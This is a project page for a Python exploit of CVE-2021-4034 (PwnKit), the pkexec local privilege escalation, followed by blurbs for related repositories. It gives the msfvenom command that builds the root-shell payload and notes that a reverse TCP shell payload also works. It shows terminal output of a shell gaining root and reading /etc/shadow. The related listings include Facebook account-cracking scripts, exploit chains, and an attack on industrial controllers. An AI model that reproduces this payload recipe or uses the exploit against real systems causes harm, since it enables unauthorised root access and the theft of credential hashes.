Python exploit code for CVE-2021-4034 (pwnkit)

Last update: Dec 29, 2022

Overview

Python3 code to exploit CVE-2021-4034 (PWNKIT). This was an exercise in "can I make this work in Python?", and not meant as a robust exploit. It Works For Me, there are problaby bugs.

The default payload starts a shell as root, generated from msfvenom:

msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64

I've tested linux/x64/shell_reverse_tcp as well. Make sure you include the PrependSetuid=true argument to msfvenom, otherwise you'll just get a shell as the user and not root.

The code is cribbed from blasty, the orginal is available here

$ python CVE-2021-4034.py
[+] Creating shared library for exploit code.
[+] Calling execve()
# id
uid=0(root) gid=1000(jra) groups=1000(jra),4(adm),27(sudo),119(lpadmin),998(lxd)
# whoami
root
# head /etc/shadow
root:*:18709:0:99999:7:::
daemon:*:18709:0:99999:7:::
bin:*:18709:0:99999:7:::
sys:*:18709:0:99999:7:::
sync:*:18709:0:99999:7:::
games:*:18709:0:99999:7:::
man:*:18709:0:99999:7:::
lp:*:18709:0:99999:7:::
mail:*:18709:0:99999:7:::
news:*:18709:0:99999:7:::
#

Python exploit code for CVE-2021-4034 (pwnkit)

Related tags

Overview

Owner

Joe Ammond

信息收集自动化工具

The probability of having the password you want in the PassMaker is +90%!!

Show apps recorded storage files by jailbreak

PasswordManager is a command-line program that helps you manage your secret files like passwords

Tensorflow 1.13.X implementation for our NN paper: Wei Xia, Sen Wang, Ming Yang, Quanxue Gao, Jungong Han, Xinbo Gao: Multi-view graph embedding clustering network: Joint self-supervision and block diagonal representation. Neural Networks 145: 1-9 (2022)

Log4j rce test environment and poc

Script Crack Facebook Premium 🚶‍♂

a cool, easily usable and customisable subdomains scanner

S2-062 (CVE-2021-31805) / S2-061 / S2-059 RCE

FBGen is simple facebook user based wordlist generator using Username/ID and cookie.

ProxyLogon Full Exploit Chain PoC (CVE-2021–26855, CVE-2021–26857, CVE-2021–26858, CVE-2021–27065)

A fully automated, accurate, and extensive scanner for finding vulnerable log4j hosts

Simple script to have LDAP authentication in Home Assistant Docker, using NGINX's ldap-auth container

Gefilte Fish GMail filter creator

Having a weak password is not good for a system that demands high confidentiality and security of user credentials

A Proof-of-Concept Layer 2 Denial of Service Attack that disrupts low level operations of Programmable Logic Controllers within industrial environments. Utilizing multithreaded processing, Automator-Terminator delivers a powerful wave of spoofed ethernet packets to a null MAC address.

These are Simple python scripts to test/scan your network

Hashpic - Hashpic creates an image from a MD5 or SHA512 hash

A python base script from which you can hack or clone any person's facebook friendlist or followers accounts which have simple password

RedTeam-Security - In this repo you will get the information of Red Team Security related links